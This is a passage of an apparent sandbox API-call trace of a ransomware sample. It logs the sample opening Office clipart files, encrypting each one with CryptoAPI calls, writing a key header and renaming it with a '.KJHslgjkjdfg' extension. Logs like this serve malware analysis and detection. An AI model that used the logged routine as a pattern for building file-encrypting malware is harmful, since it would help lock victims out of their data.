0x2bdd90 [0160.976] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.976] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0160.978] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.978] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.978] GetProcessHeap () returned 0x2a0000 [0160.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.978] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.978] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.978] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.978] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.979] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.979] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.979] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.979] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.979] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.979] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x764, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x764, lpOverlapped=0x0) returned 1 [0160.979] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x770, dwBufLen=0x770 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x770) returned 1 [0160.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.979] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x770, lpOverlapped=0x0) returned 1 [0160.979] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.980] SetEndOfFile (hFile=0x114) returned 1 [0160.982] GetProcessHeap () returned 0x2a0000 [0160.982] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.982] GetProcessHeap () returned 0x2a0000 [0160.982] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.kjhslgjkjdfg")) returned 1 [0160.983] CloseHandle (hObject=0x114) returned 1 [0160.983] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0160.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.985] GetProcessHeap () returned 0x2a0000 [0160.985] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.985] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.987] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.987] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.987] GetProcessHeap () returned 0x2a0000 [0160.987] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.987] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.987] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.987] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.987] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.988] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.988] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.988] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.988] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.988] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.988] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2b8, lpOverlapped=0x0) returned 1 [0160.988] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c0) returned 1 [0160.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.988] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2c0, lpOverlapped=0x0) returned 1 [0160.988] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.989] SetEndOfFile (hFile=0x114) returned 1 [0160.991] GetProcessHeap () returned 0x2a0000 [0160.991] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.991] GetProcessHeap () returned 0x2a0000 [0160.991] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.kjhslgjkjdfg")) returned 1 [0160.993] CloseHandle (hObject=0x114) returned 1 [0160.993] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0160.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.994] GetProcessHeap () returned 0x2a0000 [0160.994] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.994] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.994] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.994] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.996] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.996] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.996] GetProcessHeap () returned 0x2a0000 [0160.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.996] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.996] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.996] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.997] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.997] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.997] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.997] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.997] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.997] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.997] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x788, lpOverlapped=0x0) returned 1 [0160.997] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790, dwBufLen=0x790 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790) returned 1 [0160.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.998] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x790, lpOverlapped=0x0) returned 1 [0160.998] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.998] SetEndOfFile (hFile=0x114) returned 1 [0161.000] GetProcessHeap () returned 0x2a0000 [0161.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.000] GetProcessHeap () returned 0x2a0000 [0161.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.kjhslgjkjdfg")) returned 1 [0161.002] CloseHandle (hObject=0x114) returned 1 [0161.002] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0161.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.003] GetProcessHeap () returned 0x2a0000 [0161.003] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.003] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.003] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.003] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.005] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.005] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.005] GetProcessHeap () returned 0x2a0000 [0161.005] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.005] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.005] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.006] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.006] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.006] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.006] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.006] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.006] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.006] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.006] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.006] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.007] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x23d4, lpOverlapped=0x0) returned 1 [0161.008] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23e0, dwBufLen=0x23e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23e0) returned 1 [0161.008] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.008] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x23e0, lpOverlapped=0x0) returned 1 [0161.008] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.008] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x24b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.008] SetEndOfFile (hFile=0x114) returned 1 [0161.011] GetProcessHeap () returned 0x2a0000 [0161.011] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.011] GetProcessHeap () returned 0x2a0000 [0161.011] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.kjhslgjkjdfg")) returned 1 [0161.012] CloseHandle (hObject=0x114) returned 1 [0161.012] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0161.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.015] GetProcessHeap () returned 0x2a0000 [0161.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.015] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.015] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.017] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.017] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.017] GetProcessHeap () returned 0x2a0000 [0161.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.017] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.018] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.018] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, 